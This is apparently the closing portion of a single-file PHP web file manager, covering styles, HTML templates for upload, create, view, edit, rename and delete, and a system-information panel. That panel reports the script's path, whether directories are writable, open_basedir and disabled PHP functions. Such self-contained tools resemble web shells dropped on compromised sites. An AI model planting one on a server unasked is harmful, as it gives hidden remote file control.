            font-family: 'SF Mono', 'Fira Code', 'Consolas', monospace;
            font-size: 0.85rem;
            line-height: 1.7;
            max-height: 70vh;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        
        .text-display {
            background: #fefce8;
            color: var(--color-text);
            padding: 20px;
            border-radius: 8px;
            border: 1px solid var(--color-border);
            overflow: auto;
            font-family: 'SF Mono', 'Consolas', monospace;
            font-size: 0.9rem;
            line-height: 1.6;
            max-height: 70vh;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        
        .file-meta-bar {
            display: flex;
            gap: 24px;
            padding: 12px 16px;
            background: #f1f5f9;
            border-radius: 6px;
            margin-top: 12px;
            font-size: 0.8rem;
            color: var(--color-text-muted);
        }
        
        /* Editor */
        .editor-textarea {
            width: 100%;
            min-height: 500px;
            padding: 16px;
            border: 1px solid var(--color-border);
            border-radius: 8px;
            font-family: 'SF Mono', 'Fira Code', 'Consolas', monospace;
            font-size: 0.9rem;
            line-height: 1.6;
            resize: vertical;
            tab-size: 4;
            background: var(--color-code-bg);
            color: var(--color-code-text);
        }
        
        .editor-textarea:focus {
            outline: none;
            border-color: var(--color-primary);
            box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.2);
        }
        
        .editor-footer {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-top: 16px;
            padding-top: 16px;
            border-top: 1px solid var(--color-border);
        }
        
        /* Preview containers */
        .image-preview {
            text-align: center;
            padding: 20px;
        }
        
        .image-preview img {
            max-width: 100%;
            max-height: 75vh;
            border: 1px solid var(--color-border);
            border-radius: 8px;
        }
        
        .media-preview {
            text-align: center;
            padding: 20px;
        }
        
        .pdf-preview {
            margin-bottom: 16px;
        }
        
        /* Info Table */
        .info-table {
            width: 100%;
            border-collapse: collapse;
        }
        
        .info-table td {
            padding: 10px 14px;
            border-bottom: 1px solid var(--color-border);
        }
        
        .info-table tr:nth-child(even) td { background: rgba(255, 255, 255, 0.5); }
        .info-table .label-cell { font-weight: 600; width: 40%; }
        
        /* Alerts */
        .alert { padding: 16px; border-radius: 8px; margin-bottom: 16px; }
        .alert-error { background: #fee2e2; color: #991b1b; border-left: 4px solid var(--color-danger); }
        .alert-warning { background: #fef3c7; color: #92400e; border-left: 4px solid var(--color-warning); }
        .alert-info { background: #dbeafe; color: #1e40af; border-left: 4px solid var(--color-info); }
        
        /* Empty State */
        .empty-directory {
            text-align: center;
            padding: 60px 20px;
            color: var(--color-text-muted);
        }
        
        .empty-directory .empty-icon { font-size: 3rem; margin-bottom: 12px; }
        .empty-directory p { font-size: 0.95rem; }
        
        /* Modal */
        .modal-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.5);
            z-index: 1000;
            display: none;
            align-items: center;
            justify-content: center;
        }
        
        .modal-overlay.active { display: flex; }
        
        .modal-box {
            background: #fff;
            padding: 28px;
            border-radius: 12px;
            width: 440px;
            max-width: 90%;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.2);
        }
        
        .modal-box h3 { margin-bottom: 16px; }
        
        .modal-input {
            width: 100%;
            padding: 10px 14px;
            border: 1px solid var(--color-border);
            border-radius: 6px;
            font-size: 1rem;
            margin: 12px 0;
        }
        
        .modal-input:focus {
            outline: none;
            border-color: var(--color-primary);
            box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
        }
        
        .modal-actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 20px;
        }
        
        /* Footer */
        .app-footer {
            padding: 14px 24px;
            background: #f8fafc;
            border-top: 1px solid var(--color-border);
            text-align: center;
            font-size: 0.78rem;
            color: var(--color-text-muted);
        }
        
        /* Responsive */
        @media (max-width: 768px) {
            body { padding: 10px; }
            .app-header { flex-direction: column; gap: 10px; text-align: center; }
            .toolbar { flex-direction: column; align-items: stretch; }
            .toolbar-actions { justify-content: center; }
            .file-list-table { font-size: 0.75rem; }
            .file-list-table .col-perms,
            .file-list-table .col-owner { display: none; }
            .form-row { flex-direction: column; }
            .form-row .btn { width: 100%; justify-content: center; }
        }
    </style>
</head>
<body>
    <div class="app-container">
        <!-- Header -->
        <header class="app-header">
            <h1>📁 <?php echo escapeOutput($appConfig['app_name']); ?></h1>
            <div class="header-info">
                <?php echo escapeOutput(php_uname('s') . ' ' . php_uname('r')); ?><br>
                PHP <?php echo PHP_VERSION; ?>
            </div>
        </header>
        
        <!-- Toolbar -->
        <div class="toolbar">
            <?php echo buildBreadcrumbs($activeDir, $csrfToken); ?>
            
            <div class="toolbar-actions">
                <a href="?" class="btn btn-secondary">📂 Files</a>
                <a href="?action=upload" class="btn btn-secondary">📤 Upload</a>
                <a href="?action=create" class="btn btn-secondary">➕ New</a>
                <a href="?action=info" class="btn btn-secondary">â„šī¸ Info</a>
                <?php if ($hasParentDir): ?>
                    <a href="?cd=<?php echo urlencode($parentDir); ?>&token=<?php echo $csrfToken; ?>" class="btn btn-secondary">âŦ†ī¸ Up</a>
                <?php endif; ?>
            </div>
        </div>
        
        <!-- Main Content -->
        <main class="main-content">
            <!-- Status Message -->
            <?php if (!empty($statusMessage)): ?>
                <div class="status-message status-<?php echo $statusType; ?>">
                    <?php echo escapeOutput($statusMessage); ?>
                </div>
            <?php endif; ?>
            
            <?php if ($currentAction === 'upload'): ?>
                <!-- Upload Panel -->
                <div class="form-panel">
                    <h3>📤 Upload File</h3>
                    <p style="font-size:0.85rem; color:var(--color-text-muted); margin-bottom:16px;">
                        Destination: <strong><?php echo escapeOutput($activeDir); ?></strong><br>
                        Maximum size: <?php echo formatFileSize($appConfig['max_file_size']); ?>
                    </p>
                    <form method="post" enctype="multipart/form-data">
                        <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">
                        <div class="form-row">
                            <input type="file" name="upload_file" class="form-input" required>
                            <button type="submit" class="btn btn-primary">Upload</button>
                        </div>
                    </form>
                </div>
                
            <?php elseif ($currentAction === 'create'): ?>
                <!-- Create Panel -->
                <div class="form-panel">
                    <h3>➕ Create New Item</h3>
                    <form method="post" style="margin-bottom:16px;">
                        <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">
                        <div class="form-row">
                            <input type="text" name="new_folder_name" class="form-input" placeholder="New folder name...">
                            <button type="submit" class="btn btn-primary">📁 Create Folder</button>
                        </div>
                    </form>
                    <form method="post">
                        <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">
                        <div class="form-row">
                            <input type="text" name="new_file_name" class="form-input" placeholder="New file name (e.g., config.php)...">
                            <button type="submit" class="btn btn-success">📄 Create File</button>
                        </div>
                    </form>
                </div>
                
            <?php elseif ($currentAction === 'info'): ?>
                <!-- System Info Panel -->
                <div class="form-panel">
                    <h3>â„šī¸ System Information</h3>
                    <div class="alert alert-info" style="margin-bottom:20px;">
                        Server and PHP configuration details for administrative reference.
                    </div>
                    <table class="info-table">
                        <tr>
                            <td class="label-cell">Server Software</td>
                            <td><?php echo escapeOutput($_SERVER['SERVER_SOFTWARE'] ?? 'N/A'); ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">PHP Version</td>
                            <td><?php echo PHP_VERSION; ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">Operating System</td>
                            <td><?php echo escapeOutput(php_uname()); ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">Server IP</td>
                            <td><?php echo escapeOutput($_SERVER['SERVER_ADDR'] ?? 'N/A'); ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">Your IP</td>
                            <td><?php echo escapeOutput($_SERVER['REMOTE_ADDR'] ?? 'N/A'); ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">Document Root</td>
                            <td><?php echo escapeOutput($_SERVER['DOCUMENT_ROOT'] ?? 'N/A'); ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">Script Location</td>
                            <td><?php echo escapeOutput(__FILE__); ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">Current Directory</td>
                            <td><?php echo escapeOutput($activeDir); ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">Directory Writable</td>
                            <td><?php echo is_writable($activeDir) ? '<span style="color:var(--color-success);">✓ Yes</span>' : '<span style="color:var(--color-danger);">✗ No</span>'; ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">Disk Free Space</td>
                            <td><?php echo formatFileSize(disk_free_space($activeDir)); ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">Disk Total Space</td>
                            <td><?php echo formatFileSize(disk_total_space($activeDir)); ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">upload_max_filesize</td>
                            <td><?php echo ini_get('upload_max_filesize'); ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">post_max_size</td>
                            <td><?php echo ini_get('post_max_size'); ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">memory_limit</td>
                            <td><?php echo ini_get('memory_limit'); ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">max_execution_time</td>
                            <td><?php echo ini_get('max_execution_time'); ?> seconds</td>
                        </tr>
                        <?php
                        $openBasedir = ini_get('open_basedir');
                        $disabledFunctions = ini_get('disable_functions');
                        ?>
                        <tr>
                            <td class="label-cell">open_basedir</td>
                            <td><?php echo $openBasedir ? escapeOutput($openBasedir) : '<span style="color:var(--color-success);">Not restricted</span>'; ?></td>
                        </tr>
                        <tr>
                            <td class="label-cell">Disabled Functions</td>
                            <td style="font-size:0.8rem;"><?php echo $disabledFunctions ? escapeOutput($disabledFunctions) : '<span style="color:var(--color-success);">None</span>'; ?></td>
                        </tr>
                    </table>
                </div>
                
            <?php elseif ($currentAction === 'view' && !empty($viewContent)): ?>
                <!-- View Panel -->
                <div class="form-panel">
                    <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:16px; flex-wrap:wrap; gap:12px;">
                        <h3>đŸ‘ī¸ Viewing: <?php echo escapeOutput(basename($_GET['view'])); ?></h3>
                        <div style="display:flex; gap:8px;">
                            <?php if (isEditableFile($_GET['view'])): ?>
                                <a href="?edit=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $csrfToken; ?>" class="btn btn-primary btn-sm">âœī¸ Edit</a>
                            <?php endif; ?>
                            <a href="?download=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $csrfToken; ?>" class="btn btn-secondary btn-sm">đŸ“Ĩ Download</a>
                            <a href="?" class="btn btn-secondary btn-sm">← Back</a>
                        </div>
                    </div>
                    <?php echo $viewContent; ?>
                </div>
                
            <?php elseif ($currentAction === 'edit' && !empty($editFilename)): ?>
                <!-- Edit Panel -->
                <div class="form-panel">
                    <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:16px; flex-wrap:wrap; gap:12px;">
                        <h3>âœī¸ Editing: <?php echo escapeOutput($editFilename); ?></h3>
                        <a href="?" class="btn btn-secondary btn-sm">← Back</a>
                    </div>
                    <form method="post">
                        <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">
                        <input type="hidden" name="editing_filename" value="<?php echo escapeOutput($editFilename); ?>">
                        <input type="hidden" name="save_file_content" value="1">
                        <textarea name="file_content" class="editor-textarea" id="editorArea"><?php echo escapeOutput($editContent); ?></textarea>
                        <div class="editor-footer">
                            <span style="font-size:0.8rem; color:var(--color-text-muted);">
                                Size: <?php echo formatFileSize(strlen($editContent)); ?> | Lines: <?php echo substr_count($editContent, "\n") + 1; ?>
                            </span>
                            <div style="display:flex; gap:10px;">
                                <a href="?view=<?php echo urlencode($editFilename); ?>&token=<?php echo $csrfToken; ?>" class="btn btn-secondary">đŸ‘ī¸ Preview</a>
                                <button type="submit" class="btn btn-success">💾 Save Changes</button>
                            </div>
                        </div>
                    </form>
                </div>
                
            <?php else: ?>
                <!-- File Listing -->
                <?php if (empty($directoryItems)): ?>
                    <div class="empty-directory">
                        <div class="empty-icon">📂</div>
                        <p>This directory is empty.</p>
                        <p style="margin-top:10px;">
                            <a href="?action=upload" class="btn btn-primary">Upload Files</a>
                            <a href="?action=create" class="btn btn-secondary" style="margin-left:10px;">Create New</a>
                        </p>
                    </div>
                <?php else: ?>
                    <div style="overflow-x:auto;">
                        <table class="file-list-table">
                            <thead>
                                <tr>
                                    <th style="width:40%;">Name</th>
                                    <th style="width:12%;">Size</th>
                                    <th class="col-perms" style="width:12%;">Permissions</th>
                                    <th class="col-owner" style="width:14%;">Owner</th>
                                    <th style="width:15%;">Modified</th>
                                    <th style="width:17%;">Actions</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php foreach ($directoryItems as $item): ?>
                                    <tr>
                                        <td class="file-name-cell">
                                            <?php if ($item['is_dir']): ?>
                                                <a href="?cd=<?php echo urlencode($item['path']); ?>&token=<?php echo $csrfToken; ?>">
                                                    <span class="file-icon"><?php echo $item['icon']; ?></span>
                                                    <?php echo escapeOutput($item['name']); ?>
                                                </a>
                                            <?php else: ?>
                                                <span class="file-icon"><?php echo $item['icon']; ?></span>
                                                <?php echo escapeOutput($item['name']); ?>
                                            <?php endif; ?>
                                        </td>
                                        <td class="size-text">
                                            <?php echo $item['is_dir'] ? '-' : formatFileSize($item['size']); ?>
                                        </td>
                                        <td class="col-perms">
                                            <span class="perms-text"><?php echo $item['perms']; ?></span>
                                        </td>
                                        <td class="col-owner">
                                            <span class="owner-text"><?php echo $item['owner']; ?></span>
                                        </td>
                                        <td class="date-text">
                                            <?php echo date('Y-m-d H:i', $item['mtime']); ?>
                                        </td>
                                        <td>
                                            <div class="file-actions-cell">
                                                <?php if (!$item['is_dir']): ?>
                                                    <?php if ($item['is_image']): ?>
                                                        <a href="?view=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đŸ‘ī¸ View</a>
                                                    <?php elseif (isEditableFile($item['name'])): ?>
                                                        <a href="?view=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đŸ‘ī¸ View</a>
                                                        <a href="?edit=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">âœī¸ Edit</a>
                                                    <?php else: ?>
                                                        <a href="?view=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đŸ‘ī¸ View</a>
                                                    <?php endif; ?>
                                                    <a href="?download=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đŸ“Ĩ</a>
                                                <?php else: ?>
                                                    <a href="?cd=<?php echo urlencode($item['path']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">📂 Open</a>
                                                <?php endif; ?>
                                                <button onclick="showRenameModal('<?php echo escapeOutput(addslashes($item['name'])); ?>')" class="action-btn">âœī¸</button>
                                                <a href="?delete=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn delete-btn" onclick="return confirm('Delete \"<?php echo escapeOutput(addslashes($item['name'])); ?>\"?');">đŸ—‘ī¸</a>
                                            </div>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>
                            </tbody>
                        </table>
                    </div>
                    
                    <div style="margin-top:16px; padding:12px 16px; background:#f8fafc; border-radius:6px; font-size:0.8rem; color:var(--color-text-muted);">
                        <?php
                        $dirCount = 0;
                        $fileCount = 0;
                        $totalSize = 0;
                        foreach ($directoryItems as $item) {
                            if ($item['is_dir']) {
                                $dirCount++;
                            } else {
                                $fileCount++;
                                $totalSize += $item['size'];
                            }
                        }
                        echo $dirCount . ' folder' . ($dirCount !== 1 ? 's' : '') . ', ';
                        echo $fileCount . ' file' . ($fileCount !== 1 ? 's' : '') . ', ';
                        echo 'Total: ' . formatFileSize($totalSize);
                        ?>
                    </div>
                <?php endif; ?>
            <?php endif; ?>
        </main>
        
        <!-- Footer -->
        <footer class="app-footer">
            <?php echo escapeOutput($appConfig['app_name']); ?> v<?php echo $appConfig['version']; ?> | 
            PHP <?php echo PHP_VERSION; ?> | 
            &copy; <?php echo date('Y'); ?> System Administrator
        </footer>
    </div>
    
    <!-- Rename Modal -->
    <div class="modal-overlay" id="renameModal">
        <div class="modal-box">
            <h3>âœī¸ Rename Item</h3>
            <form method="post" id="renameForm">
                <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">
                <input type="hidden" name="original_name" id="renameOriginalName" value="">
                <p>Original: <strong id="renameDisplayOriginal"></strong></p>
                <input type="text" name="new_name" class="modal-input" id="renameNewName" placeholder="Enter new name..." required>
                <div class="modal-actions">
                    <button type="button" class="btn btn-secondary" onclick="closeRenameModal()">Cancel</button>
                    <button type="submit" class="btn btn-primary">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- JavaScript -->
    <script>
        // Rename Modal Functions
        function showRenameModal(itemName) {
            document.getElementById('renameOriginalName').value = itemName;
            document.getElementById('renameDisplayOriginal').textContent = itemName;
            document.getElementById('renameNewName').value = itemName;
            document.getElementById('renameModal').classList.add('active');
            document.getElementById('renameNewName').focus();
            document.getElementById('renameNewName').select();
        }
        
        function closeRenameModal() {
            document.getElementById('renameModal').classList.remove('active');
        }
        
        // Close modal on overlay click
        document.getElementById('renameModal').addEventListener('click', function(e) {
            if (e.target === this) {
                closeRenameModal();
            }
        });
        
        // Close modal on Escape key
        document.addEventListener('keydown', function(e) {
            if (e.key === 'Escape') {
                closeRenameModal();
            }
        });
        
        // Handle Tab key in editor
        document.addEventListener('DOMContentLoaded', function() {
            var editor = document.getElementById('editorArea');
            if (editor) {
                editor.addEventListener('keydown', function(e) {
                    if (e.key === 'Tab') {
                        e.preventDefault();
                        var start = this.selectionStart;
                        var end = this.selectionEnd;
                        this.value = this.value.substring(0, start) + '    ' + this.value.substring(end);
                        this.selectionStart = this.selectionEnd = start + 4;
                    }
                });
            }
        });
    </script>
</body>
</html>
Size: 63.7 KBType: text/x-phpLines: 1589